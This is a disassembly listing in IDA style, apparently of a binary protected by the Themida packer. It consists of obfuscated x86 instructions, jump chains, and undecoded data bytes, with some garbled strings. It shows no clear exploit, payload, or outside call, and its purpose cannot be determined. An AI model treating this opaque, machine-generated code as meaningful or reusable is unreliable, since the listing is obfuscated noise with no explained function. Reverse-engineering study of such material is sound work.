		add	edi, 79CB0163h
		or	edi, 3FD84833h
		and	edi, 319B37D9h
		xor	edi, 0FECD94B6h
		xor	ebx, edi
		jmp	loc_566B9C
; ---------------------------------------------------------------------------


loc_567815:				; CODE XREF: Themida_:0056452Dj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_567005
; ---------------------------------------------------------------------------


loc_567824:				; CODE XREF: Themida_:0055ED9Aj
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_56CAA8
; ---------------------------------------------------------------------------
		dd 68241C89h, 3904h, 0FFC5D4E9h, 2434FFFFh, 4C4835Fh, 66C4E981h
		dd 0BA523370h, 4C7F7739h, 815AD131h, 0A5566C5h,	81CD0179h
		dd 0A5566EDh, 2C335979h, 2852E924h, 0EC810000h,	4, 89242C89h
		dd 0D4BA52E5h, 831B0703h, 0E2D1FFC2h, 7E9FE952h, 248BFFFFh
		dd 24040024h, 4C3AE99Ch, 148BFFFFh, 57C06824h, 1C890000h
		dd 815B5424h, 4C3h, 4C38300h, 42D2E9h, 66E82800h, 0FEA1B753h
		dd 3EFC0CFh, 0FED3E780h, 7602E9C7h, 3489FFFFh, 2474FF24h
		dd 2434FF04h, 36B3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5678D1:				; CODE XREF: Themida_:0056F79Cj
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_56FAE0
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 925BDCB9h, 0F1814140h, 762A5B0Bh, 30B7C181h,	0D1F779B9h
		dd 16EBE9h
		db 0
; ---------------------------------------------------------------------------


loc_567901:				; CODE XREF: Themida_:00563808j
		pop	edi
		add	eax, esi
		pop	esi
		add	eax, 4
		jmp	loc_56298D
; ---------------------------------------------------------------------------


loc_56790D:				; CODE XREF: Themida_:0056FD74j
		mov	eax, 37FC50BAh
		add	ebp, 4F3E0D87h
		sub	ebp, eax
		sub	ebp, 4F3E0D87h
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_56CD32
; ---------------------------------------------------------------------------


loc_567934:				; CODE XREF: Themida_:0055CE8Bj
		mov	[esp], esi
		jmp	loc_56D22B
; ---------------------------------------------------------------------------


loc_56793C:				; CODE XREF: Themida_:00562274j
		sub	ebp, 70B547ECh
		add	ebp, esi
		add	ebp, 70B547ECh
		mov	esi, [esp]
		jmp	loc_560042
; ---------------------------------------------------------------------------


loc_567952:				; CODE XREF: Themida_:00560964j
		or	eax, 4DFF66B0h
		shr	eax, 7
		sub	eax, 0D542E8CEh
		or	edx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		shr	edx, 8
		xor	edx, 6EDD1Dh
		mov	ecx, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_5658FB
; ---------------------------------------------------------------------------


loc_567982:				; CODE XREF: Themida_:00563260j
		push	269h
		mov	[esp], edi
		mov	edi, 7B106695h
		xor	edi, 0C2C3DB8h
		add	edi, 4B7C0D1Eh
		shr	edi, 5
		sub	edi, 615C33Eh
		add	edx, edi
		jmp	loc_5710A6
; ---------------------------------------------------------------------------
		db 0D3h
		dd 19E92424h, 58FFFF4Bh, 7FEFED81h, 0BE56631Ah,	1CB6069Eh
		dd 295EF501h, 242C8BEBh, 4C481h, 0C5E90000h, 0D3000076h
		dd 0E99C243Ch, 0FFFF4AF0h
; ---------------------------------------------------------------------------


loc_5679DC:				; CODE XREF: Themida_:0056690Cj
		add	dword ptr [esp], 4
		jmp	loc_55EFD6
; ---------------------------------------------------------------------------


loc_5679E5:				; CODE XREF: Themida_:0055ED23j
		pop	esi
		sub	eax, ebp
		pop	ebp
		pop	ecx
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55EB28
; ---------------------------------------------------------------------------
		dw 1487h
aSon		db '$И▌█',0
		align 2
		dw 8158h
		dd 0BB0D13E6h, 0D9F2E918h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567A1E:				; CODE XREF: Themida_:00565A81j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_570414
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0EC815854h, 4, 89241489h, 4C281E2h, 68000000h, 6595h
		dd 0BB241C89h, 4, 0F5E9DA29h, 57FFFF74h, 6763BD55h, 0ED8164ABh
		dd 1, 0ED81D5F7h, 809C8FFDh, 3B01E9h, 6866AC00h, 89661432h
		dd 0CFB1240Ch, 8B66C828h, 2E9240Ch, 81FFFF92h, 0AB6EFBC5h
		dd 0C5814D32h, 6A9B30A7h, 89EF8957h, 0E95D5FFBh, 71Ch
		dd 535DEB89h, 0B95E1DBBh, 0B0C38146h, 437A1451h, 7842C381h
		dd 0C3817E8Fh, 0CD10E210h, 9F23E94Bh, 34FFFFFFh, 0B4CAE924h
		dd 815DFFFFh, 8B60EAEEh, 0B2F1E909h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567AD2:				; CODE XREF: Themida_:0056362Fj
		push	40EFh
		mov	[esp], edi
		jmp	loc_563FB3
; ---------------------------------------------------------------------------
		dd offset dword_457444+56324h
		align 4
		dd 54241489h, 2217E9h, 24048700h, 52505E5Ch, 2F7648BAh
		dd 0DC03B800h, 0D0016E0Fh, 0ACC5815Ah, 29305825h, 60D1E9C5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567B0E:				; CODE XREF: Themida_:0056A4CEj
		add	esi, 0BBD4FA19h
		add	eax, esi
		pop	esi
		jmp	loc_56F128
; ---------------------------------------------------------------------------
		dd 3739C0BFh, 0ECCF8108h, 817C944Fh, 8744F4CFh,	81DFF753h
		dd 8C393DC7h, 45F78134h, 1B4D4B9h, 591E9FAh, 0C890000h
		dd 0D090B124h, 0E7C180E1h, 0C8BC800h, 0A1E95524h
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567B57:				; CODE XREF: Themida_:0056E451j
		push	ecx
		mov	ecx, esp
		push	esi
		jmp	loc_55F7D7
; ---------------------------------------------------------------------------
		dd 994AE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567B66:				; CODE XREF: Themida_:00562937j
		pop	ebx
		jmp	loc_56C161
; ---------------------------------------------------------------------------
		dd 68h,	1DE95100h, 0F7000071h, 81DBF7DBh, 12076CEBh, 0E9DA012Bh
		dd 46E4h, 0EF80D7F6h, 5BF8285Bh, 0EB2CB904h, 0FF7E64E9h
		dd 242C33FFh, 431665Ch,	25E99C24h
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567BA7:				; CODE XREF: Themida_:0056CE56j
		push	0C26h
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_562825
; ---------------------------------------------------------------------------


loc_567BCA:				; CODE XREF: Themida_:0055D93Cj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_565BB0
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0FFA9C3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567BE1:				; CODE XREF: Themida_:0056A87Fj
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_56CE49
; ---------------------------------------------------------------------------


loc_567BF2:				; CODE XREF: Themida_:00566EFAj
		pop	ecx
		add	esp, 4
		inc	ecx
		shr	ecx, 1
		jmp	loc_562332
; ---------------------------------------------------------------------------


loc_567C01:				; CODE XREF: Themida_:0056E8A3j
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_56A26B
; ---------------------------------------------------------------------------


loc_567C0E:				; CODE XREF: Themida_:0055D238j
		push	ebp
		jmp	loc_560FDB
; ---------------------------------------------------------------------------
		dd 49C3E943h, 0EF81FFFFh, 6F872778h, 0DFF7D7F7h, 4658F781h
		dd 0A3E9C6AEh, 5F000046h, 0D025C781h, 0D2E970AEh, 5A000041h
		dd 84F8E9h, 66645C00h, 0D8E90289h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_567C4B:				; CODE XREF: Themida_:0056815Cj
		mov	esi, esp
		jmp	loc_55C75B
; ---------------------------------------------------------------------------
		dw 0F129h
		dd 5E2434FFh, 3304C483h, 0C31240Ch, 8748E924h, 895CFFFFh
		dd 34FF243Ch, 242C8B24h, 0E904C483h, 19D0h, 4C4835Ch, 34FFF830h
		dd 7AE95B24h, 0F6000039h, 0B60F66E9h, 696866CCh, 0C896674h
		dd 0A557E924h, 48BFFFFh, 59CFE924h, 81ACFFFFh, 2ECh, 14896600h
		dd 2C4DB224h, 4D02817h,	515A6617h, 52BFB652h, 0D2F6F2B2h
		dd 88B3EA80h, 2EC7E9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567CCA:				; CODE XREF: Themida_:00564B23j
		mov	ecx, 56FE0138h
		add	ecx, 0E0275B94h
		add	eax, ecx
		pop	ecx
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, 33A47E38h
		xchg	edx, ebx
		not	edx
		xchg	edx, ebx
		xor	ebx, 0B196D448h
		jmp	loc_5605B6
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 3304C483h, 1C31241Ch, 241C3324h, 0E924248Bh,	0FFFF47B4h
		dd 4C481h, 0BEE90000h, 0E9000049h, 0FFFF47A4h, 4C6815Eh
		dd 55000000h, 468h, 6050E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567D3A:				; CODE XREF: Themida_:005653ABj
		push	edx
		mov	edx, esp
		jmp	loc_570228
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 0FF93BBE9h, 240481FFh, 3C547A55h,	81240401h, 7A55242Ch
		dd 0BB533C54h, 1C49407Bh, 2F7F68h, 240C8900h, 772609B9h
		dd 244C0151h, 44815908h, 435B0424h, 0DAE91277h,	29FFFF8Ch
		dd 49E958C3h, 8BFFFF82h, 8956242Ch, 0EF79E9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567D96:				; CODE XREF: Themida_:00569F92j
		mov	[esp], ecx
		jmp	loc_56CF43
; ---------------------------------------------------------------------------
		dw 0D3BFh
		dd 0B9263516h, 6BD033DBh, 0E95FF931h, 83F8h, 8704EE83h
		dd 0E95C2434h, 0FFFFC469h
; ---------------------------------------------------------------------------


loc_567DBC:				; CODE XREF: Themida_:005632A1j
		sub	eax, edx
		pop	edx
		jmp	loc_56F780
; ---------------------------------------------------------------------------


loc_567DC4:				; CODE XREF: Themida_:005626BEj
		xchg	ecx, [esp]
		pop	esp
		push	edi
		mov	edi, 74512FEh
		or	edi, 75FB7E10h
		sub	edi, 77FF7EFAh
		add	ebx, edi
		pop	edi
		push	6F4Dh
		mov	[esp], eax
		mov	eax, 7DE86AF3h
		not	eax
		jmp	loc_560988
; ---------------------------------------------------------------------------
		db 89h,	0D9h, 8Bh
		dd 6068241Ch, 89000029h, 32E92434h, 0BBFFFFA8h,	4, 875BDA01h
		dd 315C2414h, 2434FFF8h, 5F2434FFh, 81E18951h, 4C1h, 4C18300h
		dd 5C240C87h, 0E904C483h, 0C39h, 8324248Bh, 4A6804C4h
		dd 89000026h, 85E9242Ch
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567E43:				; CODE XREF: Themida_:0056E5FFj
		shr	dh, 2
		xor	dh, 15h
		add	bl, 0CDh
		add	bl, 0CEh
		jmp	loc_56FDE6
; ---------------------------------------------------------------------------
		dd 240C8B66h, 3BCF6852h, 24890000h, 24048324h, 0BE565A04h
		dd 4, 34FFF201h, 0C4815E24h, 4,	4BB53h,	0C2810000h, 15C9323Bh
		dd 0EA81DA29h, 15C9323Bh, 0FFA104E9h, 241C89FFh, 88515350h
		dd 8BCB88D1h, 0C481240Ch, 4, 0FF4E7BE9h, 48B66FFh, 4DEFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567EB2:				; CODE XREF: Themida_:0056D73Bj
		pop	esp
		xor	al, dl
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		jmp	loc_564AC4
; ---------------------------------------------------------------------------
		db 4Ah
		dd 0F7AEC281h, 0D789FE74h, 6824148Bh, 4D9Ch, 89243C89h
		dd 4C781E7h, 0E9000000h, 7848h,	0E95FF901h, 1585h, 0BA241489h
		dd 7A492F92h, 0F281D2F7h, 6D78193Eh, 6293E281h,	4BE9567Ch
		dd 0C0000032h, 0ED8004EDh, 80D5F6F2h, 0C58050CDh, 8BEB30B4h
		dd 0F7E9240Ch, 0FF000068h, 669D1C77h, 241CD359h, 4596E99Ch
		dd 0E689FFFFh, 4C681h, 0C6810000h, 4, 2474FF56h, 48F5E04h
		dd 0C875C24h, 0C4835C24h, 4572E904h, 248BFFFFh,	14896624h
		dd 7E9FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567F66:				; CODE XREF: Themida_:0056A03Ej
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edx
		mov	edx, 415E7E47h
		inc	edx
		jmp	loc_564EF0
; ---------------------------------------------------------------------------


loc_567F7C:				; CODE XREF: Themida_:0055FD23j
		push	dword ptr [esp]
		pop	esi
		jmp	loc_570CC6
; ---------------------------------------------------------------------------


loc_567F85:				; CODE XREF: Themida_:0056EA89j
		pop	dx
		jmp	loc_568126
; ---------------------------------------------------------------------------
		dd 4EC81h, 0F8E90000h, 0C1FFFF62h, 0BA5203EDh, 19F5EA64h
		dd 148BD531h, 0ADBDE924h, 0D5F7FFFFh, 4624F581h, 0E5C12A35h
		dd 7E5C108h, 0FFC6E4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567FBD:				; CODE XREF: Themida_:0056AE97j
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		push	ebx
		push	3E3B546Ch
		pop	ebx
		inc	ebx
		push	ebp
		mov	ebp, 19974EC4h
		sub	ebx, ebp
		pop	ebp
		sub	ebx, 24A405A5h
		jmp	loc_562935
; ---------------------------------------------------------------------------


loc_567FEA:				; CODE XREF: Themida_:0055DDD0j
		shl	ebx, 4
		push	edi
		jmp	loc_563E07
; ---------------------------------------------------------------------------
		db 0FFh
		dd 4E92434h, 81FFFFD3h,	5C7A0EEDh, 0D0E95654h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568007:				; CODE XREF: Themida_:0055E4A1j
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		dec	esi
		dec	esi
		jmp	loc_569233
; ---------------------------------------------------------------------------


loc_568016:				; CODE XREF: Themida_:0056DCA5j
		push	edx
		mov	dh, 43h
		mov	al, dh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_564950
; ---------------------------------------------------------------------------


loc_568026:				; CODE XREF: Themida_:0055FD09j
		pop	edx
		xor	edi, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56906C
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0E9243487h, 24Ch
; ---------------------------------------------------------------------------


loc_568040:				; CODE XREF: Themida_:005600D7j
		pop	esp
		mov	esi, eax
		pop	eax
		jmp	loc_56A5CF
; ---------------------------------------------------------------------------
		db 58h,	83h, 0C1h
		dd 240C8704h, 8124248Bh, 4C1h, 4C18100h, 87000000h, 248B240Ch
		dd 24043124h, 7A89E99Ch, 0C281FFFFh, 4,	8704EA83h, 895C2414h
		dd 0D0682424h, 8900001Eh, 4BE2434h, 1000000h, 0E9042474h
		dd 0FFFF9C04h, 4DCCE9ACh, 0CF35FFFFh, 81641B70h, 0A512F3C3h
		dd 81C3012Ah, 0A512F3EBh, 0EB81582Ah, 447675EDh, 7A8CEB81h
		dd 0C301010Ch, 459AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5680C1:				; CODE XREF: Themida_:005668D6j
		add	edi, ebx
		pop	ebx
		jmp	loc_567732
; ---------------------------------------------------------------------------
		dd offset dword_50E448+720h
		align 2
		dw 51E9h
		dd 5FFFFFF4h, 8704C283h, 35E92414h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5680DF:				; CODE XREF: Themida_:0055CF93j
		pop	eax
		push	eax
		mov	eax, 4
		push	edi
		jmp	loc_55DD11
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 3DE904C4h, 89000052h, 4C181E1h, 83000000h
		dd 0C8704C1h, 24248B24h, 6CCEE950h, 2B70000h, 1C8BFD88h
		dd 0E1895124h, 4C181h, 0C1830000h, 3E95E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568126:				; CODE XREF: Themida_:00567F87j
		xor	dl, ch
		pop	ecx
		jmp	loc_56BAE3
; ---------------------------------------------------------------------------


loc_56812E:				; CODE XREF: Themida_:0056C092j
		push	ebx
		mov	ebx, 0AC6DA1Bh
		sub	eax, ebx
		pop	ebx
		push	eax
		pop	esi
		pop	eax
		shl	esi, 4
		push	edx
		push	esp
		pop	edx
		push	ecx
		jmp	loc_5634B1
; ---------------------------------------------------------------------------


loc_568146:				; CODE XREF: Themida_:0056DB91j
		inc	esi
		or	esi, 78520374h
		and	esi, 55713F25h
		jmp	loc_56A4CB
; ---------------------------------------------------------------------------


loc_568158:				; CODE XREF: Themida_:005625BCj
		mov	edx, [esp]
		push	esi
		jmp	loc_567C4B
; ---------------------------------------------------------------------------


loc_568161:				; CODE XREF: Themida_:00562857j
		mov	esi, 22B34F2Bh
		push	eax
		jmp	loc_569510
; ---------------------------------------------------------------------------
		dd 74FF5158h, 0ABE90424h, 89000073h, 51E9241Ch
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56817F:				; CODE XREF: Themida_:00560F14j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	2810h
		jmp	loc_570F3E
; ---------------------------------------------------------------------------


loc_568190:				; CODE XREF: Themida_:0056D30Aj
		xor	ebx, 0A5F3FEDFh
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		xor	ecx, [esp]
		jmp	loc_570E6C
; ---------------------------------------------------------------------------
		dd 1C381h, 52430000h, 71E6D7BAh, 4110E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5681CA:				; CODE XREF: Themida_:0056E9ACj
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	edx
		jmp	loc_569BC8
; ---------------------------------------------------------------------------


loc_5681D7:				; CODE XREF: Themida_:0056DE4Dj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_563B15
; ---------------------------------------------------------------------------


loc_5681EB:				; CODE XREF: Themida_:0056C2B9j
		pop	esp
		push	ecx
		mov	ecx, 47A42FA8h
		jmp	loc_564C5E
; ---------------------------------------------------------------------------
		db 81h
		dd 524B1E5h, 0B5F58136h, 1100524h, 0EC815DE8h, 4, 0E9243C89h
		dd 3BBFh
; ---------------------------------------------------------------------------


loc_568214:				; CODE XREF: Themida_:00566898j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56DBB8
; ---------------------------------------------------------------------------
		db 59h
		dd 305ABE56h, 0C681768Dh, 8972CFAAh, 348BF101h,	7A98E924h
		dd 60680000h, 0E900002Bh, 0FFFFC893h, 53243489h, 0BF795FBBh
		dd 5BDE8955h, 475EF731h, 8101EF83h, 0D17854F7h,	0DFEB8136h
		dd 810EE576h, 0CC35C6EBh, 6CC38105h, 815A106Fh,	7E64BCC3h
		dd 0E9FB2927h, 50B1h, 48BC701h,	0E2895224h, 4C281h, 0E9530000h
		dd 0FFFFFB77h, 8924248Bh, 25E92404h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568297:				; CODE XREF: Themida_:0055DEACj
		push	ebx
		jmp	loc_5667A2
; ---------------------------------------------------------------------------


loc_56829D:				; CODE XREF: Themida_:0056C90Fj
		push	edx
		jmp	loc_565271
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 0E9000000h, 0FFFFF218h, 5966C800h,	241C8B66h
		dd 0FF6E7BE9h, 0E9CB01FFh, 0FFFFB9BFh, 81E68956h, 4C6h
		dd 3F3CE900h, 34FF0000h, 2434FF24h, 6824048Bh, 7C98h, 89241489h
		dd 0B570E9E2h, 3C89FFFFh, 8F685624h, 5E7BB075h,	9F3F681h
		dd 515629AEh, 0B5655B9h, 244C3154h, 27E95904h, 8300003Eh
		dd 148904ECh, 3F8EBA24h, 0D6290FBEh, 0E92434FFh, 0FFFFCEBFh
; ---------------------------------------------------------------------------


loc_568320:				; CODE XREF: Themida_:0056FD46j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_564791
; ---------------------------------------------------------------------------


loc_568331:				; CODE XREF: Themida_:0055CD1Fj
		mov	ebx, 9E9FA99Fh
		jmp	loc_5625BA
; ---------------------------------------------------------------------------
aYsq9s		db 'YSQ╠',27h,'╥9ИЁ',8,0
		dw 2D00h
		dd 519F7A11h, 6E1E922Dh, 0F6BA5231h, 81012F1Eh,	9E3F7FC2h
		dd 8BD02925h, 0C4812414h, 4, 0FFBD7DE9h, 241C89FFh, 0CBB6ECB7h
		dd 1C8BFE30h, 4C48124h,	2C000000h, 4F000F6h, 6ED8E9F6h
		dd 0EA810000h, 127D24EAh, 3F21BB53h, 0E3D17D45h, 0FF5FAEE9h
		dd 95C681FFh, 81113B75h, 0B83231E6h, 35F68115h,	5210D304h
		dd 0A17758BAh, 5AD6211Dh, 0FFB2EBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5683BD:				; CODE XREF: Themida_:0056714Bj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_565E62
; ---------------------------------------------------------------------------
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5658C2
; ---------------------------------------------------------------------------
		dw 3433h
		dd 24343124h, 8B243433h, 0F662424h, 9C2404BBh, 0FF8A88E9h
		dd 731C68FFh, 1C890000h, 90B85024h, 0E934217Ch,	523Bh
; ---------------------------------------------------------------------------


loc_568404:				; CODE XREF: Themida_:005694E5j
		xor	ebp, 4EEA75DDh
		jmp	loc_5607D1
; ---------------------------------------------------------------------------


loc_56840F:				; CODE XREF: Themida_:0056A652j
		pop	esp
		shr	ecx, 7
		jmp	loc_55C866
; ---------------------------------------------------------------------------
aZs_pSod	db ']ZS╩.PЁ+)ъИo└',0
		db 0
; ---------------------------------------------------------------------------


loc_568427:				; CODE XREF: Themida_:0056859Aj
		push	3EAh
		mov	[esp], edx
		push	ecx
		mov	ecx, 144C3DEEh
		push	ecx
		sub	dword ptr [esp], 49B46406h
		pop	edx
		add	edx, 49B46406h
		jmp	loc_56B8C2
; ---------------------------------------------------------------------------
		db 58h,	51h, 68h
		dd 7EE63CE9h, 59C80959h, 0FFB357E9h, 0E9028FFFh, 17CCh
		dd 4EC81h, 0ADE90000h
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56846B:				; CODE XREF: Themida_:0055D9FEj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_565F52
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0CF50E924h, 515DFFFFh, 0F07B6BB9h, 37E18124h, 563A774Dh
		dd 0D8CF2BBEh, 2EC181D7h, 2949FB52h, 2EE981F1h,	5E49FB52h
		dd 4F59CF29h, 8DEF81h, 0FA011E8Bh, 80C2815Fh, 895AB0BAh
		dd 2434FFD1h, 5BDB685Ah, 14890000h, 0E9E28924h,	0FFFFD326h
		dd 0ECC3E95Ah, 0D0F6FFFFh, 47E9FF2Ch, 3300001Fh, 555C2414h
		dd 6508E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5684E2:				; CODE XREF: Themida_:005615BEj
		mov	edx, 0
		sub	edx, 7A9103Ch
		add	edx, 5A272E79h
		add	edx, ebx
		sub	edx, 5A272E79h
		push	edi
		jmp	loc_55E4C0
; ---------------------------------------------------------------------------
		db 1, 0FEh, 51h
		dd 0FFEF28E9h, 4B9FFh, 0CF290000h, 243C8759h, 8924248Bh
		dd 5FE92404h, 47FFFFEDh, 488DC781h, 4F68D428h, 89000018h
		dd 0B8502434h, 764E4792h, 0FFBCF4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568539:				; CODE XREF: Themida_:0056196Ej
		push	2DC4h
		mov	[esp], ebx
		push	60Ah
		mov	[esp], ebp
		mov	ebp, 75BD0DF4h
		add	[esp+4], ebp
		pop	ebp
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 75BD0DF4h
		push	edx
		jmp	loc_5615C3
; ---------------------------------------------------------------------------


loc_568565:				; CODE XREF: Themida_:0056531Fj
		shl	edx, 4
		jmp	loc_55EB04
; ---------------------------------------------------------------------------


loc_56856D:				; CODE XREF: Themida_:0056701Fj
		sub	ebx, 4F471AC1h
		jmp	loc_56B689
; ---------------------------------------------------------------------------
		dd 85EB815Ah, 0E944FB60h, 41Ah,	6F6CBA52h, 3BE95A10h, 28FFFFE5h
		dd 0AAC480ECh, 0FF8913E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568599:				; CODE XREF: Themida_:0056B843j
		push	ecx
		jmp	loc_568427
; ---------------------------------------------------------------------------
		db 80h
		dd 0B8E97AEAh
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5685A7:				; CODE XREF: Themida_:0056D5D4j
		add	esp, 4
		push	7EF0h
		mov	[esp], ebx
		jmp	loc_5705B8
; ---------------------------------------------------------------------------
		dw 0D031h
		dd 0E92434FFh, 0FFFFAC2Fh, 59C8015Eh, 5C240487h, 240CD366h
		dd 3EF6E99Ch, 5457FFFFh, 4C7815Fh, 83000000h, 3C8704C7h
		dd 0D019E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5685EA:				; CODE XREF: Themida_:0055D3D3j
		push	ecx
		push	ebp
		mov	ebp, 464B00CCh
		mov	ecx, 464B00CEh
		sub	ecx, ebp
		pop	ebp
		push	ecx
		push	edi
		jmp	loc_5639F2
; ---------------------------------------------------------------------------
		dd 8FC78159h, 574AB13Bh, 0F7240487h, 74FF50D0h,	8F580424h
		dd 565F2404h, 3F4E4FBEh, 5EF731BEh, 105ABD55h, 0C5815BD2h
		dd 2DD26101h, 5618F581h, 0E829D508h, 5F8295Dh, 5CAC2743h
		dd 8B2434FFh, 93E9243Ch, 0B0FFFF83h, 2E8C0F2h, 0B252D8F6h
		dd 45F280C9h, 345AD020h, 2C9F0449h, 5BF83086h, 0FF4B52E9h
		dd 87E941FFh, 81FFFF8Bh, 4C4h, 0E9505200h, 0FFFF4A07h
; ---------------------------------------------------------------------------


loc_568678:				; CODE XREF: Themida_:0055F128j
		xor	ebx, 332683h
		jmp	loc_56FD5F
; ---------------------------------------------------------------------------


loc_568683:				; CODE XREF: Themida_:0056EDD7j
		mov	ebx, 80h
		mov	esi, ebx
		pop	ebx
		mov	ebx, esi
		mov	esi, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		and	ecx, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		push	edi
		jmp	loc_569B26
; ---------------------------------------------------------------------------


loc_5686C0:				; CODE XREF: Themida_:0056228Fj
		xor	ebx, 7877256h
		pop	ebp
		jmp	loc_56E691
; ---------------------------------------------------------------------------
		dd 405E089h, 52000000h,	4BAh, 8BD02900h, 0C4812414h, 4
		dd 0E9240487h, 0FFFFBEF7h, 8B2434FFh, 0C481240Ch, 4, 81E38953h
		dd 4C3h, 4BF5700h, 81000000h, 0C338FAC3h, 0E9FB013Ch, 6789h
		dd 2BEh, 0E9F30100h, 0FFFFD81Ch, 805B595Bh, 20E94FEBh
		dd 5D00003Dh, 815BD989h, 0FFFFFFE9h, 1C181FFh, 0E9000000h
		dd 0FFFF60A2h, 6A88ED81h, 0ED815546h, 4DE52508h, 8324148Bh
		dd 0A8E904C4h, 81000068h, 1124BEC6h, 6D81E957h,	875B0000h
		dd 1CE9243Ch, 5800004Bh, 0E9243433h, 4855h, 4245C29h, 24348B5Bh
		dd 81E18951h, 4C1h, 269EE900h, 0EAC10000h, 59F28108h, 11B54E6h
		dd 0C6315AD0h, 7EEC158h, 555E68h, 6C16E900h, 54550000h
		dd 4EC835Dh, 0E9240489h, 0FFFF8FD3h, 0FF2434FFh, 0E9592434h
		dd 0FFFF6508h, 0E924048Fh, 0FFFFE765h
; ---------------------------------------------------------------------------


loc_5687C8:				; CODE XREF: Themida_:0056EE6Aj
		pop	ebp
		jmp	loc_56DCEE
; ---------------------------------------------------------------------------


loc_5687CE:				; CODE XREF: Themida_:0056D819j
		add	esp, 4
		jmp	loc_55F875
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 0FFFFFFFFh, 641DE9h,	7756BE00h, 31E95DF1h, 87FFFF86h
		dd 25E7E9F7h, 0C4810000h, 4, 8B24048Fh,	0CFE2424h, 81E99C24h
		dd 81FFFF7Dh, 4C4h, 240C8B00h, 81E18951h, 4C1h,	0D14E900h
